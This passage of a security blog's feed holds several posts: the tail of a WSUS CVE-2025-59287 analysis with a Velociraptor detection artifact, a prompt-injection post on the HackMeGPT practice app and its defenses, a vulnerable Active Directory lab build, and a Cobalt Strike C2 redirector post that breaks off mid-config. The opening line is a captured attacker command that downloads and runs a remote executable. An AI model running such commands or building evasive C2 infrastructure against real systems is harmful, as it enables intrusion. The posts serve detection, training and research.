/c cmd /c bitsadmin /transfer myDownloadJob /download /priority normal https://github.com/reika911/SMTP-mail/raw/refs/heads/main/sd.exe %TEMP%\sd.exe &amp;&amp; %TEMP%\sd.exe
</code></pre></div></div>

<p>These patterns are typical post-exploitation behavior where attackers leverage WSUS’s privileges to perform their next activities. I haven’t had time to reverse engineer the captured implants, but I’m sharing the raw payloads here for the community to examine and use for detection research and threat intelligence.</p>

<h2 id="detection">Detection</h2>

<p>After successfully confirming the CVE and its exploitability, I decided to review the logs to see how to detect exploitation attempts. I recommend reviewing the following resources which provide comprehensive detection queries:</p>

<ul>
  <li><a href="https://github.com/AdityaBhatt3010/CVE-2025-59287-When-your-patch-server-becomes-the-attack-vector">Aditya Bhatt’s Detection Repository</a> — Contains detection queries and analysis tools for monitoring WSUS exploitation attempts</li>
  <li><a href="https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability">Huntress Detection Guide</a> — Includes KQL queries, Sigma rules, and detection patterns for identifying CVE-2025-59287 exploitation</li>
</ul>

<p>In addition to the resources above, I found another exploitation detection method. While reviewing WSUS logs, I noticed that <code class="language-plaintext highlighter-rouge">BinaryFormatter.Deserialize</code> appears in error lines within <code class="language-plaintext highlighter-rouge">C:\\Program Files\\Update Services\\LogFiles\\SoftwareDistribution.log</code>. Based on this, I wrote and tested the following Velociraptor artifact that detects exploitation attempts by scanning for these signatures:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">Windows.Detection.WSUS</span>
<span class="na">description</span><span class="pi">:</span> <span class="pi">|</span>
  <span class="s">Checks WSUS service status, pulls all log lines from SoftwareDistribution log file,</span>
  <span class="s">and detects CVE-2025-59287 exploitation attempts by scanning for BinaryFormatter.Deserialize</span>
  <span class="s">signatures.</span>
<span class="na">author</span><span class="pi">:</span> <span class="s">Mohammed Alshehri Github.com/M507</span>
<span class="na">type</span><span class="pi">:</span> <span class="s">CLIENT</span>
<span class="na">parameters</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">SoftwareDistributionLog</span>
    <span class="na">default</span><span class="pi">:</span> <span class="s2">"</span><span class="s">C:</span><span class="se">\\</span><span class="s">Program</span><span class="nv"> </span><span class="s">Files</span><span class="se">\\</span><span class="s">Update</span><span class="nv"> </span><span class="s">Services</span><span class="se">\\</span><span class="s">LogFiles</span><span class="se">\\</span><span class="s">SoftwareDistribution.log"</span>
<span class="na">sources</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">WsusServiceState</span>
    <span class="na">query</span><span class="pi">:</span> <span class="pi">|</span>
       <span class="s">SELECT Name,</span>
              <span class="s">State,</span>
              <span class="s">StartMode,</span>
              <span class="s">PathName</span>
       <span class="s">FROM wmi(</span>
         <span class="s">query="SELECT Name, State, StartMode, PathName FROM Win32_Service WHERE Name='WsusService'")</span>


  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">AllSoftwareDistributionLines</span>
    <span class="na">query</span><span class="pi">:</span> <span class="pi">|</span>
       <span class="s">LET target_path = expand(path=SoftwareDistributionLog)</span>
       <span class="s">SELECT target_path AS Path,</span>
              <span class="s">offset + 1 AS LineNumber,</span>
              <span class="s">Line</span>
       <span class="s">FROM parse_lines(filename=target_path)</span>


  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">ExploitationAttempts</span>
    <span class="na">query</span><span class="pi">:</span> <span class="pi">|</span>
       <span class="s">LET target_path = expand(path=SoftwareDistributionLog)</span>
       <span class="s">SELECT target_path AS Path,</span>
              <span class="s">offset + 1 AS LineNumber,</span>
              <span class="s">Line</span>
       <span class="s">FROM parse_lines(filename=target_path)</span>
       <span class="s">WHERE Line =~ "BinaryFormatter\\.Deserialize"</span>
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>

<p>The <code class="language-plaintext highlighter-rouge">ReportEventBatch</code> SOAP endpoint exposes a <code class="language-plaintext highlighter-rouge">SoapFormatter</code> deserialization sink that processes attacker-controlled input without proper validation. The service runs as NETWORK SERVICE on IIS 6.0 and 7.0, limiting payload privileges but still allowing file writes, command execution, and follow-on payload deployment.</p>

<p>The honeypot that was deployed captured active exploitation attempts, confirming that threat actors are actively targeting this vulnerability in the wild. These activities along with Huntress and CISA reports show the need for immediate patching (<sup id="fnref:huntress" role="doc-noteref"><a href="#fn:huntress" class="footnote" rel="footnote">6</a></sup>, <sup id="fnref:cisa" role="doc-noteref"><a href="#fn:cisa" class="footnote" rel="footnote">7</a></sup>).</p>

<p>For detection guidance, review <a href="https://github.com/AdityaBhatt3010/CVE-2025-59287-When-your-patch-server-becomes-the-attack-vector">Aditya Bhatt’s Detection Repository</a> and <a href="https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability">Huntress Detection Guide</a>.</p>

<p>For fast incident response triage, review error lines within <code class="language-plaintext highlighter-rouge">C:\\Program Files\\Update Services\\LogFiles\\SoftwareDistribution.log</code>.</p>

<h2 id="references">References</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:nuclei" role="doc-endnote">
      <p>ProjectDiscovery, “CVE-2025-59287.yaml,” Nuclei Templates, GitHub repository. <a href="https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-59287.yaml">https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-59287.yaml</a> <a href="#fnref:nuclei" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:hawktrace" role="doc-endnote">
      <p>HawkTrace Research, “CVE-2025-59287 WSUS Unauthenticated RCE,” Oct 2025. <a href="https://hawktrace.com/blog/CVE-2025-59287">https://hawktrace.com/blog/CVE-2025-59287</a> <a href="#fnref:hawktrace" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:codewhite" role="doc-endnote">
      <p>Markus Wulftange, “A Retrospective Analysis of CVE-2025-59287 in Microsoft WSUS,” Code White, Oct 29 2025. <a href="https://code-white.com/blog/wsus-cve-2025-59287-analysis/">https://code-white.com/blog/wsus-cve-2025-59287-analysis/</a> <a href="#fnref:codewhite" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:th1n0" role="doc-endnote">
      <p>th1n0, “CVE-2025-59287,” GitHub repository (fake/malicious PoC). <a href="https://github.com/th1n0/CVE-2025-59287">https://github.com/th1n0/CVE-2025-59287</a> <a href="#fnref:th1n0" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:hawktrace-gist" role="doc-endnote">
      <p>HawkTrace Research, “CVE-2025-59287 WSUS PoC,” GitHub Gist. <a href="https://gist.github.com/hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b">https://gist.github.com/hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b</a> <a href="#fnref:hawktrace-gist" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:huntress" role="doc-endnote">
      <p>Huntress, “Exploitation of Windows Server Update Services Remote Code Execution Vulnerability (CVE-2025-59287),” Oct 2025. <a href="https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability">https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability</a> <a href="#fnref:huntress" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:cisa" role="doc-endnote">
      <p>CISA, “Microsoft Releases Out-of-Band Security Update to Mitigate Windows Server Update Service Vulnerability, CVE-2025-59287,” updated Oct 29, 2025. <a href="https://www.cisa.gov/news-events/alerts/2025/10/24/microsoft-releases-out-band-security-update-mitigate-windows-server-update-service-vulnerability-cve">https://www.cisa.gov/news-events/alerts/2025/10/24/microsoft-releases-out-band-security-update-mitigate-windows-server-update-service-vulnerability-cve</a> <a href="#fnref:cisa" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Mohammed Alshehri</name></author><category term="wsus" /><category term="cve-2025-59287" /><category term="cve" /><category term="windows-server" /><category term="windows" /><category term="deserialization" /><category term="soapformatter" /><category term="rce" /><category term="detection-engineering" /><category term="incident-response" /><category term="dfir" /><category term="cisa" /><category term="kev" /><category term="huntress" /><category term="honeypot" /><category term="hhoneypot" /><category term="deception" /><category term="velociraptor" /><summary type="html"><![CDATA[Walkthrough of CVE-2025-59287, a SoapFormatter RCE in WSUS, including validation, fake PoCs, detection, and honeypot evidence of in-the-wild exploitation.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://shellcode.blog/images/cve-windowsupdater/banner2.png" /><media:content medium="image" url="https://shellcode.blog/images/cve-windowsupdater/banner2.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">LLM Hacking: Prompt Injection</title><link href="https://shellcode.blog/llm1/" rel="alternate" type="text/html" title="LLM Hacking: Prompt Injection" /><published>2023-12-23T00:00:00+00:00</published><updated>2023-12-23T00:00:00+00:00</updated><id>https://shellcode.blog/llm1</id><content type="html" xml:base="https://shellcode.blog/llm1/"><![CDATA[<p>The need to assess large language model (LLM) applications has never been more pressing. Recognizing this urgency, the Open Web Application Security Project (OWASP) has taken the lead in comprehending and addressing the security challenges posed by LLMs. OWASP has iteratively released Top 10 lists tailored for LLM applications, consistently identifying prompt injection as the #1 vulnerability in each version <a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/">[1]</a>. This recognition highlights the significant risk prompt injection poses to systems relying on language models, emphasizing the need for security professionals to delve into its complexities.</p>

<p>Prompt injection, a technique where malicious input is injected into the prompt given to a language model, opens the gateway to potential exploitation. By manipulating the input, attackers can force the model to produce unintended and often harmful outputs, posing a severe threat to the integrity of information processed by these models. To effectively address this vulnerability, testers have started immersing themselves in hands-on practice, simulating real-world scenarios to strengthen their test techniques.</p>

<p>Personally, I practiced my prompt injection skills through two challenges: Gandalf <a href="https://gandalf.lakera.ai/">[2]</a> and Immersive Labs GPT <a href="https://prompting.ai.immersivelabs.com/">[3]</a>. The objective of these challenges was to trick a language model into revealing a secret password by using injection techniques while avoiding detection. I found these challenges enjoyable to solve, but not enough, so I decided to dive deeper and write a vulnerable prompt application (Thank you, ChatGPT :smiley face:) and release it as an open-source project. I called the application <a href="https://github.com/M507/HackMeGPT">HackMeGPT</a>.</p>

<p>Like Gandalf, HackMeGPT is an interactive LLM app that aims to create a challenging environment for participants to navigate. As users progress through the ten levels, they are confronted with increasingly stringent instructions and enhanced defense techniques designed to fortify the chatbot’s resilience against malicious manipulations. Let’s delve deeper into each defense mechanism:</p>

<p>Input Validation: HackMeGPT uses input validation to filter out obvious malicious user inputs. With each advancing level, the system implements a more extensive blocklist, refining its ability to identify and block potentially harmful commands or queries.</p>

<p>Input Sanitization: Certain levels of HackMeGPT incorporate input sanitization techniques, neutralizing elements within user inputs that could potentially be used as delimiters. This adds an extra layer of security by ensuring that only safe and sanitized inputs are processed.</p>

<p>Output Monitoring: HackMeGPT utilizes output monitoring mechanisms. These guards analyze the AI’s behavior, cutting responses to any activity deemed suspicious. This real-time monitoring ensures a proactive response to emerging risks.</p>

<p>Articulated the Desired Output: HackMeGPT precisely directs the AI not to share the secret at certain levels. This mechanism should use the model’s power to hinder the user’s ability to exfiltrate the targeted data.</p>

<p>Similarity-based Malicious Prompt Detection: Acknowledging the evolving nature of attacks, HackMeGPT leverages similarity-based malicious prompt detection. This technique incorporates behavioral analysis to assess the likeness between user inputs or prompts and known malicious patterns. By identifying patterns indicative of malicious intent, this mechanism bolsters the system’s defenses against novel threats.</p>

<p>Honeypot Function: A honeypot function stores malicious prompts and allows the LLM to predict the attack as usual <a href="https://medium.com/@paulo_marcos/protect-your-generative-ai-apps-from-prompt-injection-attacks-94c8d6c45f9">[4]</a>. The prediction appears successful from the attacker’s perspective, but instead of returning the prediction to the attacker, it captures the prompt and raises an error. This function also increases the effectiveness of the Similarity-based Malicious Prompt Detection guard mentioned previously.</p>

<p>While HackMeGPT does not include every protection and detection method for prompt injection attacks, it should serve as an excellent starting point for testers to practice identifying and bypassing different types of detections.</p>

<p>References:</p>
<ul>
  <li>[1] https://owasp.org/www-project-top-10-for-large-language-model-applications/</li>
  <li>[2] https://gandalf.lakera.ai/</li>
  <li>[3] https://prompting.ai.immersivelabs.com/</li>
  <li>[4] https://medium.com/@paulo_marcos/protect-your-generative-ai-apps-from-prompt-injection-attacks-94c8d6c45f9</li>
</ul>]]></content><author><name>Mohammed Alshehri</name></author><category term="llm" /><category term="prompt-injection" /><category term="owasp" /><category term="ai" /><category term="chatgpt" /><category term="hackmegpt" /><category term="llm-security" /><category term="red-teaming" /><category term="web" /><category term="vulnerability-research" /><summary type="html"><![CDATA[Prompt injection as the top LLM vulnerability: OWASP guidance, hands-on challenges, and HackMeGPT, an open-source app for practicing bypasses.]]></summary></entry><entry><title type="html">Insecure Active Directory Lab For Training (IaC)</title><link href="https://shellcode.blog/Vulnerable-AD-Lab-IaC/" rel="alternate" type="text/html" title="Insecure Active Directory Lab For Training (IaC)" /><published>2022-06-12T00:00:00+00:00</published><updated>2022-06-12T00:00:00+00:00</updated><id>https://shellcode.blog/Vulnerable-AD-Lab-IaC</id><content type="html" xml:base="https://shellcode.blog/Vulnerable-AD-Lab-IaC/"><![CDATA[<p>TLDR; <a style="color:#c0c0c0" href="https://github.com/M507/Vulnerable-AD-Lab"><font color="#4CAF50">Vulnerable-AD-Lab</font></a> is an AD environment developed to practice AD security. The idea of this IaC project is to build a functional Vulnerable Active Directory Lab from scratch without using VM templates.This IaC project integrates WazeHell’s vulnerable-AD script: <a style="color:#c0c0c0" href="https://github.com/WazeHell/vulnerable-AD"><font color="#4CAF50">https://github.com/WazeHell/vulnerable-AD</font></a>. The final product of this automation script is a Windows 2019 server with a misconfigured AD service and a Windows 10 workstation connected to the same domain.</p>

<p>The lab includes different misconfigurations, such as misconfigured ACLs/ACEs, Object Descriptions, groups, and services. It also uses common insecure policies and configurations allowing attacks like Kerberoasting, AS-REP Roasting, Silver Ticket, Golden Ticket, Pass-the-Ticket, and DCSync attacks.</p>

<p>The main objectives of this environment are to be an asset for security professionals to examine their tools and skills, help system administrators better understand the processes of securing AD networks and help teachers/students to teach/learn Active Directory security in a safe and prepared environment.</p>

<h2 id="how-to-build-the-environment">How to build the environment?</h2>

<h2 id="assumptions">Assumptions</h2>
<p>I assume you already have a cloud environment or a local virtual environment and there is a DHCP server running in the network. If that’s not the case, check out the first post of the Applied Purple Teaming Series. In that post, I show how to setup a Virtual Environment using EXSi: <a style="color:#c0c0c0" href="https://shellcode.blog/Applied-Purple-Teaming-Series-P1/"><font color="#4CAF50">Applied Purple Teaming Series - Part 1</font></a>.</p>

<h2 id="download-windows-isos">Download Windows ISOs</h2>
<ul>
  <li><a style="color:#c0c0c0" href="https://www.microsoft.com/en-us/evalcenter/download-windows-server-2019"><font color="#4CAF50">https://www.microsoft.com/en-us/evalcenter/download-windows-server-2019</font></a> (DC)</li>
  <li><a style="color:#c0c0c0" href="https://www.microsoft.com/en-us/evalcenter/download-windows-10-enterprise"><font color="#4CAF50">https://www.microsoft.com/en-us/evalcenter/download-windows-10-enterprise</font></a> (Client)</li>
</ul>

<p>Copy the path of each ISO and replace the value of <code class="language-plaintext highlighter-rouge">os_iso_path</code> and  <code class="language-plaintext highlighter-rouge">dc-os_iso_path</code> in <code class="language-plaintext highlighter-rouge">credentials.json</code>. If you are deploying it on a VBox hypervisor, make sure that you also add the md5 checksum for each ISO ( Refer to the given example ).</p>

<h2 id="install-packer">Install Packer</h2>
<ul>
  <li>https://www.packer.io/
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nt">-y</span> update
<span class="nb">sudo </span>apt-get <span class="nt">-y</span> <span class="nb">install </span>packer
</code></pre></div>    </div>
  </li>
</ul>

<p>Currently, the project supports vSphere and VirtualBox. If you will deploy the environment using vSphere, download vsphere-iso since Packer doesn’t automatically download it by default like when VirtualBox-iso is used.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://github.com/jetbrains-infra/packer-builder-vsphere/releases/download/v2.3/packer-builder-vsphere-iso.linux 
<span class="nb">mv </span>packer-builder-vsphere-iso.linux packer-builder-vsphere-iso
</code></pre></div></div>

<p>Before deploying the environment, make sure there is a DHCP server running and the VMs can access the internet. This is needed becasue Packer will need to connect to install the lab scripts. Create your own <code class="language-plaintext highlighter-rouge">credentials.json</code> file using the provided example.</p>

<h2 id="send-it">Send it</h2>

<p>After configuring environment variables, build the AD server using the following command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>packer build <span class="nt">-var-file</span><span class="o">=</span>./credentials.json windows19/windows2019.json
</code></pre></div></div>

<p><img src="/images/Vulnerable-AD/Insecure_Active_Directory_Lab_For_Training_3.png" alt="." /></p>

<p>The AD needs to download <code class="language-plaintext highlighter-rouge">AD-Domain-Services</code> Windows Feature and then install the AD so it might take around 10 minutes to finish the deployment of the first VM.</p>

<p>When done, execute the following command so that the client VM can look up the domain name successfully.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DC_FOLDER</span><span class="o">=</span><span class="s2">"windows19/"</span>
<span class="nv">CLIENT_10</span><span class="o">=</span><span class="s2">"windows10/"</span>
<span class="nv">DC_IP</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep</span> <span class="s1">'IPv4.*Address.*'</span> <span class="nv">$DC_FOLDER</span>/pulled/ipconfig.out | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">':'</span> <span class="nt">-f2</span> | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'('</span> <span class="nt">-f1</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/  */ /g'</span> <span class="nt">-e</span> <span class="s1">'s/^ *\(.*\) *$/\1/'</span><span class="si">)</span>
<span class="nb">sed</span> <span class="s1">'s/1.1.1.1/'</span><span class="nv">$DC_IP</span><span class="s1">'/'</span> <span class="nv">$CLIENT_10</span>/base/join-ad.ps1  <span class="o">&gt;</span> <span class="nv">$CLIENT_10</span>/setup/join-ad.ps1
</code></pre></div></div>

<p>Finally, build the other workstation vm.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>packer build <span class="nt">-var-file</span><span class="o">=</span>./credentials.json windows10/windows10.json
</code></pre></div></div>

<p>To confirm that the workstation is joined, go to <code class="language-plaintext highlighter-rouge">Active Directory Users and Computers</code> &gt; <code class="language-plaintext highlighter-rouge">Computers</code> and you should find the workstation added to the domain as shown below:</p>

<p><img src="/images/Vulnerable-AD/Insecure_Active_Directory_Lab_For_Training_5.png" alt="." /></p>

<h3 id="putting-everything-together">Putting everything together</h3>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"Installing prerequisites"</span>
<span class="nb">sudo </span>apt-get <span class="nt">-y</span> update
<span class="nb">sudo </span>apt-get <span class="nt">-y</span> <span class="nb">install </span>packer

<span class="nb">echo</span> <span class="s2">"Setting up folder variables"</span>
<span class="nv">DC_FOLDER</span><span class="o">=</span><span class="s2">"windows19/"</span>
<span class="nv">CLIENT_10</span><span class="o">=</span><span class="s2">"windows10/"</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> <span class="nv">$DC_FOLDER</span>/pulled

<span class="nb">echo</span> <span class="s2">"Build DC01"</span>
packer build <span class="nt">-var-file</span><span class="o">=</span>./credentials.json windows19/windows2019.json

<span class="c"># To change the DNS settings</span>
<span class="nb">echo</span> <span class="s2">"Extracting the DC's IP Address"</span>
<span class="nv">DC_IP</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep</span> <span class="s1">'IPv4.*Address.*'</span> <span class="nv">$DC_FOLDER</span>/pulled/ipconfig.out | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">':'</span> <span class="nt">-f2</span> | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'('</span> <span class="nt">-f1</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/  */ /g'</span> <span class="nt">-e</span> <span class="s1">'s/^ *\(.*\) *$/\1/'</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"DC IP: "</span> <span class="nv">$DC_IP</span>

<span class="nb">echo</span> <span class="s2">"Preparing the AD join scripts"</span>
<span class="c"># Change join-ad.ps1 according to the given DHCP lease. </span>
<span class="nb">sed</span> <span class="s1">'s/1.1.1.1/'</span><span class="nv">$DC_IP</span><span class="s1">'/'</span> <span class="nv">$CLIENT_10</span>/base/join-ad.ps1  <span class="o">&gt;</span> <span class="nv">$CLIENT_10</span>/setup/join-ad.ps1


<span class="nb">echo</span> <span class="s2">"Build Client VM"</span>
packer build <span class="nt">-var-file</span><span class="o">=</span>./credentials.json windows10/windows10.json


<span class="nb">echo</span> <span class="s2">"Done! happy hacking : )"</span>
</code></pre></div></div>

<h3 id="why-dont-you-use-detection-lab">Why don’t you use Detection Lab?</h3>
<p>Detection Lab is a great project that can also be used to practice network and system security. I think Detection Lab is the go-to environment for many, including me. It gives security practitioners good visibility. I think it could help in many ways, and I personally have used it along with security onion solutions to observe the artifacts of some attack techniques. However, last week I had a different goal. I was working on an offensive security automation tool. I wanted a relatively light and rebuildable environment that could be deployed on my ESXi server to quickly be able to test the tool I was developing. This is how this lab was born.</p>

<p>While working on this project, I tried not to use many automation technologies. If you read the source code, you will notice that I can improve things like the time wait between the tasks and probability use other automation technologies like Ansible and maybe deploy some of the settings faster, but I didn’t. The reason is that I didn’t want to make it complicated for beginners. I noticed that this is the first main problem non-DevOps folks face when they try to use these kinds of projects, so I avoided it by only using one automation technology.</p>

<p>Coming full circle, this IaC should be easy to deploy by teachers, students, security practitioners, and system administrators, allowing practitioners to <strong><em>examine their tools</em></strong> and skills, help system administrators better understand the <strong><em>processes of securing AD networks</em></strong>, and should help teachers/students to <strong><em>teach/learn</em></strong> Active Directory security in a safe and prepared environment.</p>

<p><a style="color:#c0c0c0" href="https://github.com/M507/Vulnerable-AD-Lab"> You can find <font color="#4CAF50">Vulnerable-AD-Lab</font> repository here</a></p>

<h2 id="references">References</h2>
<ul>
  <li><a href="https://github.com/WazeHell/vulnerable-AD">https://github.com/WazeHell/vulnerable-AD</a></li>
  <li><a href="https://github.com/jetbrains-infra/packer-builder-vsphere">https://github.com/jetbrains-infra/packer-builder-vsphere</a></li>
</ul>]]></content><author><name>Mohammed Alshehri</name></author><category term="active-directory" /><category term="iac" /><category term="packer" /><category term="homelab" /><category term="red-teaming" /><category term="training" /><category term="kerberoasting" /><category term="dcsync" /><category term="windows" /><category term="lab" /><category term="vulnerable-ad" /><category term="infrastructure" /><summary type="html"><![CDATA[An Infrastructure-as-Code lab that builds an insecure Active Directory environment for teaching Kerberoasting, DCSync, and related attacks.]]></summary></entry><entry><title type="html">Using Cobalt Strike with Tunnel-Manager for Distributed Hacking</title><link href="https://shellcode.blog/Using-Cobalt-Strike-with-Tunnel-Manager-for-Distributed-Hacking/" rel="alternate" type="text/html" title="Using Cobalt Strike with Tunnel-Manager for Distributed Hacking" /><published>2021-11-24T00:00:00+00:00</published><updated>2021-11-24T00:00:00+00:00</updated><id>https://shellcode.blog/Using-Cobalt-Strike-with-Tunnel-Manager-for-Distributed-Hacking</id><content type="html" xml:base="https://shellcode.blog/Using-Cobalt-Strike-with-Tunnel-Manager-for-Distributed-Hacking/"><![CDATA[<p>TLDR: In this post, I will present a new solution for managing remote port forward tunnels. If you use Nginx or Socat to port forward your C2 traffic through multiple external servers, <a style="color:#c0c0c0" href="https://github.com/M507/Tunnel-Manager"><font color="#4CAF50">Tunnel-Manager</font></a> will help you do that in a fast and efficient way. This solution helps manage remote tunnels and automates AWS node creation and deletion. Also, if your on-prem server is NATed, remote port forward tunnels can help you expose a port or more to the public and be able to receive external connections.</p>

<p>A well-designed C2 infrastructure makes the difference between a successful and unsuccessful Red Team operation. A way to have a well-designed robust hacking infrastructure is by using multiple instances for all threat communications. That makes it relatively harder to force you out. One instance can be easily blocked or black-holed by the blue team but when multiple ones are used, your attack infrastructure will not be impacted if one or two are burned.</p>

<p><a style="color:#c0c0c0" href="https://github.com/M507/Tunnel-Manager"><font color="#4CAF50">Tunnel-Manager</font></a> takes advantage of the fact that each new EC2 instance gets a new different public interface. It allows you to create a new node and establish a tunnel with one click. That means when one interface gets burned by the blue team, you can terminate the burned node and create another node that will get a different public interface. This way you don’t need to create a lot of nodes before the Red Team engagement, but you can create them along the way when needed in a fast way.</p>

<h2 id="tool-overview">Tool Overview</h2>
<p>The following is the landing page of the manager.</p>

<p><img src="/images/Cobalt-Strike/1/g2.png" alt="." /></p>

<p>The graph on the center section of the page shows how many nodes your server is connected to. The plus icon is to add a new node.</p>

<p><img src="/images/Cobalt-Strike/1/1.png" alt="." /></p>

<p>When you click on the add node icon, you will be prompted to enter a node IP, bind port, host port, and the key name that is going to be used to connect to the new node that you want to create. The key name must be the name of the private key you downloaded from your AWS dashboard. The node IP can be an IP that you already have in your configuration file or you can leave it empty to create a new node with a new IP.</p>

<p><img src="/images/Cobalt-Strike/1/7.png" alt="." /></p>

<p>When you have connected nodes like in the above screenshot. You will find a refresh icon that reestablishes the tunnel connection and an X icon that just disconnects the tunnel connection.</p>

<h2 id="example">Example</h2>

<p>Let’s get down to business. Let’s say that I want to setup the following topology:</p>

<p><img src="/images/Cobalt-Strike/1/ssh-Remote-T-Black.png" alt="." /></p>

<p>Let’s say that we have two running VMs on-prem, a GoPhish instance and a C2 team server instance. The teamserver is connected to 4 nodes. I want node #1 to redirect anything it gets at port 443 to the team server and I want the team server to redirect the traffic coming from node#1:443 to the local GoPhish instance. Also, let’s say that I want nodes #2,3, and 4 to redirect any traffic they get at ports 443 and 80 to TeamServer. That means that 443 and 80 ports should open in nodes #2, 3, and 4.</p>

<p>The above topology can be represented using the configuration file config.json.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"autoreconnect"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"RemoteHosts"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.133.84.88"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Interactive"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.134.107.54"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"443"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Interactive"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.134.107.54"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"80"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"80"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Interactive"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"IPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3.144.140.90"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"BindPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"80"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"HostPort"</span><span class="p">:</span><span class="w"> </span><span class="s2">"800"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Beacon"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"root"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"Key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"key-example.pem"</span><span class="w">
        </span><span class="p">},</span><span class="w">
